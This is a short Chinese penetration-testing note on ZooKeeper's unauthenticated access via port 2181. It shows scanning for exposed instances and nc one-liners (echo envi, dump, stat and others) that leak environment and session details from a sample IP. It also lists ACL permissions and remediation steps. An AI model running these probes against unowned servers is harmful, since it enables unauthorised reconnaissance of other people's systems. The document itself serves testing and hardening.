ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。
实战
1.nmap或者fofa扫描发现端口2181或者服务
2.直接使用kali中envi加nc来获取服务器敏感信息
3.基本命令:echo 命令|nc 目标ip 目标端口
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.1.1 2181
ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.1.1 2181
reqs:列出未完成的请求。
echo reqs |nc 192.168.1.1 2181
envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.1.1 2181
dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.1.1 2181
4.查阅了一些资料没有找到可以添加系统用户或者系统命令执行方法,卒
ZK的节点有5种操作权限:
CREATE、READ、WRITE、DELETE、ADMIN 也就是 增、删、改、查、管理权限,这5种权限简写为crwda(即:每个单词的首字符缩写)
注:这5种权限中,delete是指对子节点的删除权限,其它4种权限指对自身节点的操作权限
权限 描述 setAcl中的简写
write 能够设置znode的值 w
read 能够读取znode的值和列出它的children znode r
create 能够创建children znode c
delete 能够删除children znode d
admin 能够执行setAcl即设置访问控制列表 a
all 所有权限wrcda
5修复方法
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)